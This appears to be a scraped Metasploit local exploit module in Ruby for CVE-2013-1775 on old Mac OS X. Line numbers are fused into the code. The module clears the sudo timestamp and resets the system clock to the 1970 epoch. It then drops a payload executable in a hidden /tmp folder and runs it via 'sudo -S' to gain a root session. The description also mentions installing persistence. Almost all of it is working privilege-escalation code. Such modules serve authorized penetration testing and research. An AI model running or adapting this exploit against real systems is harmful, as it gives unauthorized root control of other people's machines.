Path: blob/master/modules/exploits/osx/local/sudo_password_bypass.rb
32545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'shellwords'67class MetasploitModule < Msf::Exploit::Local89# ManualRanking because it's going to modify system time10# Even when it will try to restore things, user should use11# it at his own risk12Rank = NormalRanking1314include Msf::Post::File15include Msf::Post::OSX::Priv16include Msf::Exploit::EXE17include Msf::Exploit::FileDropper1819SYSTEMSETUP_PATH = '/usr/sbin/systemsetup'20VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]21CMD_TIMEOUT = 452223# saved clock config24attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone2526def initialize(info = {})27super(28update_info(29info,30'Name' => 'Mac OS X Sudo Password Bypass',31'Description' => %q{32This module gains a session with root permissions on versions of OS X with33sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,34and possibly lower versions.3536If your session belongs to a user with Administrative Privileges37(the user is in the sudoers file and is in the "admin group"), and the38user has ever run the "sudo" command, it is possible to become the super39user by running `sudo -k` and then resetting the system clock to 01-01-1970.4041This module will fail silently if the user is not an admin, if the user has never42run the sudo command, or if the admin has locked the Date/Time preferences.4344Note: If the user has locked the Date/Time preferences, requests to overwrite45the system clock will be ignored, and the module will silently fail. However,46if the "Require an administrator password to access locked preferences" setting47is not enabled, the Date/Time preferences are often unlocked every time the admin48logs in, so you can install persistence and wait for a chance later.49},50'License' => MSF_LICENSE,51'Author' => [52'Todd C. Miller', # Vulnerability discovery53'joev', # Metasploit module54'juan vazquez' # testing/fixing module bugs55],56'References' => [57[ 'CVE', '2013-1775' ],58[ 'OSVDB', '90677' ],59[ 'BID', '58203' ],60[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]61],62'Platform' => 'osx',63'SessionTypes' => [ 'shell', 'meterpreter' ],64'Targets' => [65[66'Mac OS X x86 (Native Payload)',67{68'Platform' => 'osx',69'Arch' => ARCH_X8670}71],72[73'Mac OS X x64 (Native Payload)',74{75'Platform' => 'osx',76'Arch' => ARCH_X6477}78],79[80'CMD',81{82'Platform' => 'unix',83'Arch' => ARCH_CMD84}85]86],87'DefaultTarget' => 0,88'DisclosureDate' => '2013-02-28',89'Notes' => {90'Reliability' => UNKNOWN_RELIABILITY,91'Stability' => UNKNOWN_STABILITY,92'SideEffects' => UNKNOWN_SIDE_EFFECTS93}94)95)96register_advanced_options([97OptString.new('TMP_FILE',98[99true, 'For the native targets, specifies the path that ' +100'the executable will be dropped on the client machine.',101'/tmp/.<random>/<random>'102]),103])104end105106# ensure target is vulnerable by checking sudo vn and checking107# user is in admin group.108def check109if cmd_exec('sudo -V') =~ /version\s+([^\s]*)\s*$/110sudo_vn = ::Regexp.last_match(1)111sudo_vn.split(/[.p]/).map(&:to_i)112# check vn between 1.6.0 through 1.7.10p6113# and 1.8.0 through 1.8.6p6114if !vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)115vprint_error "sudo version #{sudo_vn} not vulnerable."116return CheckCode::Safe117end118else119vprint_error 'sudo not detected on the system.'120return CheckCode::Safe121end122123# check that the user is in OSX's admin group, necessary to change sys clock124unless is_admin?125vprint_error 'sudo version is vulnerable, but user is not in the admin group (necessary to change the date).'126return CheckCode::Safe127end128129# one root for you sir130CheckCode::Vulnerable131end132133def exploit134if is_root?135fail_with Failure::BadConfig, 'Session already has root privileges'136end137138unless is_admin?139fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."140end141142if check != CheckCode::Vulnerable143fail_with Failure::NotVulnerable, 'Target is not vulnerable'144end145146# "remember" the current system time/date/network/zone147print_good('User is an admin, continuing...')148149print_status('Saving system clock config...')150@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]151@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]152@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)153@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]154@network_server = if @networked155cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]156end157158run_sudo_cmd159end160161def cleanup162if @clock_changed163print_status('Resetting system clock to original values') if @time164cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?165cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?166cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?167if @networked168cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")169unless @network_server.nil?170cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")171end172end173print_good('Completed clock reset.')174else175print_status 'Skipping cleanup since the clock was never changed'176end177178super179end180181private182183def run_sudo_cmd184print_status("Resetting user's time stamp file and setting clock to the epoch")185cmd_exec(186"sudo -k; \n" +187"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT" +188' -setdate 01:01:1970 -settime 00:00'189)190if !cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match('1/1/1970')191fail_with(Failure::NoAccess, 'Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.')192else193@clock_changed = true194end195196# drop the payload (unless CMD)197if using_native_target?198cmd_exec("mkdir -p #{File.dirname(drop_path)}")199write_file(drop_path, generate_payload_exe)200register_files_for_cleanup(drop_path)201cmd_exec("chmod +x #{[drop_path].shelljoin}")202print_status('Payload dropped and registered for cleanup')203end204205# Run Test206test = rand_text_alpha(rand(4..7))207sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')208209print_status('Testing that user has sudoed before...')210output = cmd_exec('echo "" | ' + sudo_cmd_test)211212if output =~ /incorrect password attempts\s*$/i213fail_with(Failure::NotFound, 'User has never run sudo, and is therefore not vulnerable. Bailing.')214elsif output =~ /#{test}/215print_good('Test executed succesfully. Running payload.')216else217print_error('Unknown fail while testing, trying to execute the payload anyway...')218end219220# Run Payload221sudo_cmd_raw = if using_native_target?222['sudo', '-S', [drop_path].shelljoin].join(' ')223elsif using_cmd_target?224['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')225end226227## to prevent the password prompt from destroying session228## backgrounding the sudo payload in order to keep both sessions usable229sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'230231print_status 'Running command: '232print_line sudo_cmd233cmd_exec(sudo_cmd)234end235236# default cmd_exec timeout to CMD_TIMEOUT constant237def cmd_exec(cmd, args = nil, timeout = CMD_TIMEOUT)238super239end240241# helper methods for accessing datastore242def using_native_target?243target.name =~ /native/i244end245246def using_cmd_target?247target.name =~ /cmd/i248end249250def drop_path251@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }252end253254# helper methods for dealing with sudo's vn num255def parse_vn(vn_str)256vn_str.split(/[.p]/).map(&:to_i)257end258259def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])260vn_parts = parse_vn(vn)261ranges.any? do |range|262min_parts = parse_vn(range[0])263max_parts = parse_vn(range[1])264vn_parts.all? do |part|265min = min_parts.shift266max = max_parts.shift267(min.nil? or (!part.nil? and part >= min)) and268(part.nil? or (!max.nil? and part <= max))269end270end271end272end273274275